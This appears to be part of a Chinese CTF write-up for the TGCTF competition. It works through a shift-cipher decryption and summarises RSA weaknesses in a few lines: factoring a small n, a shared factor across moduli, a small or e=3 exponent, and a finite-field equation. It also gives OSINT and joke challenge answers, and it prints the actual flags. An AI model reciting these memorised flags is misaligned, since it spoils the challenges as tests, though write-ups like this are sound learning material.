i=9:G →i=9 →移位8 →G+8=O

i=11:O →i=11 →移位10 →O+10=Y

i=16:C →i=16 →移位15 →C+15=R

i=19:O →i=19 →移位18 →O+18= (O是第14个字母,A=0的话,14+18=32 →32 mod26=6 →G)

i=20:V →i=20 →移位19 →V+19= (V是21 →21+19=40 →40 mod26=14 →O)

i=21:U →i=21 →移位20 →U+20= (20+20=40 mod26=14 →O)

i=22:I →i=22 →移位21 →I+21= (8+21=29 mod26=3 →D)

i=24:D →i=24 →移位23 →D+23= (3+23=26 mod26=0 →A)

i=25:V →i=25 →移位24 →V+24= (21+24=45 mod26=19 →T)

i=27:M →i=27 →移位26 →M+26= (12+26=38 mod26=12 →M)

i=28:N →i=28 →移位27 →N+27= (13+27=40 mod26=14 →O)

i=29:T →i=29 →移位28 →T+28= (19+28=47 mod26=21 →V)

i=30:B →i=30 →移位29 →B+29= (1+29=30 mod26=4 →E)

将这些转换后的字母代入原字符串,保持非字母字符不变:

TGCTF{ W O 0 O ! Y 0 4 _ 5 R 3 _ G O O D _ A T _ M O V E }

组合起来:

TGCTF{WO0O!Y04_5R3_GOOD_AT_MOVE}


费克特尔

直接分解n就行

mm不躲猫猫

第一组和第三组的n有一个公因数,于是就分解出来了

宝宝RSA

第一部分e是素数并且范围比较小直接爆破,第二部分e=3直接开3次根就得到flag

tRwSiAns

扔到sagemath里解有限域一元二次方程就行了


Misc

where it is(osint)

题目说flag形式为TGCTF{右上角轨道到站的站名}

谷歌搜图,定位到港墘站

flag{港墘站}


好运来

我听到了强运的回响,flag是CTFer最喜欢的数字:

TGCTF{114514}

简单签到,关注:”杭师大网安“谢谢喵🐱

关注就发flag()

Licensed under CC BY-NC-SA 4.0
Build by Oight
使用 Hugo 构建
主题 StackJimmy 设计